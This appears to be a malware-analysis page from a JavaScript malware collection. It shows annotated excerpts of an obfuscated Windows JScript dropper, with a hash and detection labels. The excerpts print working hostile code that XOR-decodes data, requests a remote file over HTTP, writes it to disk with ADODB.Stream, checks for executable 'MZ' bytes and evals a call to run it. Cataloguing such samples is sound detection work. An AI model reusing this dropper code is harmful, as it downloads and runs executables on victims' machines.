Hostile ^100% javascript-malware-collection Download

20161130_5708f4be228f31e3d20496b1621192f3.js

Obfuscated dropper, PE check, eval

WScript bracket-member access in source textChecks array for PE magic bytes

SHA-256f925d3bb4441079206fa02abe32be2297f5c92053b3a784c82479684db5df5e8

MaleculeK(Li)O₅(As₆CAlSXe)H₆(F₄Cm₂CrDb₆Os₂Po₄)

Evidence

ASCII remapping assignment markers lines 1–5

1String.prototype["OloloOloloOloloOloloOloloOloloEe9"] = function () {return ("asdf", this.split(",").join(""));};
2//BEGIN_CODEC_PART
3function OloloOloloOloloOloloOloloOloloWXf6(OloloOloloOloloOloloOloloOloloBXc5)
4{var OloloOloloOloloOloloOloloOloloKr1=new Array();
5OloloOloloOloloOloloOloloOloloKr1[199]=128;OloloOloloOloloOloloOloloOloloKr1[252]=129;OloloOloloOloloOloloOloloOloloKr1[233]=130;OloloOloloOloloOloloOloloOloloKr1[226]=131;OloloOloloOloloOloloOloloOloloKr1[228]=132;OloloOloloOloloOloloOloloOloloKr1[224]=133;OloloOloloOloloOlolo …

ADODB.Stream with MS-DOS charset 437 lines 49–59

49:139… loloOloloOloloOloloXy8 += 1)
50{OloloOloloOloloOloloOloloOloloASb1[OloloOloloOloloOloloOloloOloloXy8] ^= OloloOloloOloloOloloOloloOloloGDx8[OloloOloloOloloOloloOloloOloloXy8 % OloloOloloOloloOloloOloloOloloGDx8.length];};
51return OloloOloloOloloOloloOloloOloloASb1;}
52function OloloOloloOloloOloloOloloOloloZSu1(OloloOloloOloloOloloOloloOloloIVx9)
53{var OloloOloloOloloOloloOloloOloloZUr2=new ActiveXObject("ADODB.Stream");
54OloloOloloOloloOloloOloloOloloZUr2.type=2;
55OloloOloloOloloOloloOloloOloloZUr2["Charset"]="437";
56OloloOloloOloloOloloOloloOloloZUr2.open();
57OloloOloloOloloOloloOloloOloloZUr2["LoadFromFile"](OloloOloloOloloOloloOloloOloloIVx9);
58var OloloOloloOloloOloloOloloOloloUd4=OloloOloloOloloOloloOloloOloloZUr2["ReadText"];
59Ololo …

Obfuscated computed call cluster lines 64–72

64:33… r2["Charset"]="437";
65OloloOloloOloloOloloOloloOloloZUr2.open();
66OloloOloloOloloOloloOloloOloloZUr2["writeText"](OloloOloloOloloOloloOloloOloloEu6(OloloOloloOloloOloloOloloOloloASb1));
67OloloOloloOloloOloloOloloOloloZUr2["SaveToFile"](OloloOloloOloloOloloOloloOloloIVx9, 2);
68OloloOloloOloloOloloOloloOloloZUr2.close();}
69//END_CODEC_PART
70var OloloOloloOloloOloloOloloOloloAc6 = "http://";
71    var OloloOloloOloloOloloOloloOloloHCy9 = new Array();
72OloloOloloOloloOloloOloloOloloHCy9.push(OloloOloloOloloOloloOloloOlo …

WScript bracket-member access in source text lines 99–109

99:3… oloOloloOloloOloloOloloOloloJFb1.setRequestHeader("User-Agent","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)");
100OloloOloloOloloOloloOloloOloloJFb1["s,e,n,d".OloloOloloOloloOloloOloloOloloEe9()]();
101// while (OloloOloloOloloOloloOloloOloloJFb1.readystate < 4) WScript["Sleep"](100);
102OloloOloloOloloOloloOloloOloloGh7.open();
103OloloOloloOloloOloloOloloOloloGh7.type=1;
104var OloloOloloOloloOloloOloloOloloAg7 = new Date();
105OloloOloloOloloOloloOloloOloloAg7.setFullYear("2015");
106/*@cc_on
107OloloOloloOloloOloloOloloOloloGh7.write(OloloOloloOloloOloloOloloOloloJFb1.ResponseBody);
108OloloOloloOloloOloloOloloOloloGh7.position=0;
109if (""+OloloOloloOloloOloloOloloOloloAg7.getFullYear() == "2015") OloloOloloOloloOloloOloloOloloGh7["SaveToFile"](OloloOloloOlol …

Checks array for PE magic bytes lines 112–116

112:84… loOloloOloloOloloUj3, OloloOloloOloloOloloOloloOloloUJo4);
113if (OloloOloloOloloOloloOloloOloloUj3[0] != 77 || OloloOloloOloloOloloOloloOloloUj3[1] != 90) continue;
114OloloOloloOloloOloloOloloOloloFe7(OloloOloloOloloOloloOloloOloloOs3, OloloOloloOloloOloloOloloOloloUj3);
115var OloloOloloOloloOloloOloloOloloIIm6 = OloloOloloOloloOloloOloloOloloEo2();
116if (""+OloloOloloOloloOloloOloloOloloAg7["getFullYear"]() == "2015") eval('OloloOloloOloloOloloOloloOloloXh7["R\x2c\x75\x2c\x6e".OloloOloloOloloOloloOloloOloloEe9()]("r\x2c\x75\x2c\x6e\x2c\x64 …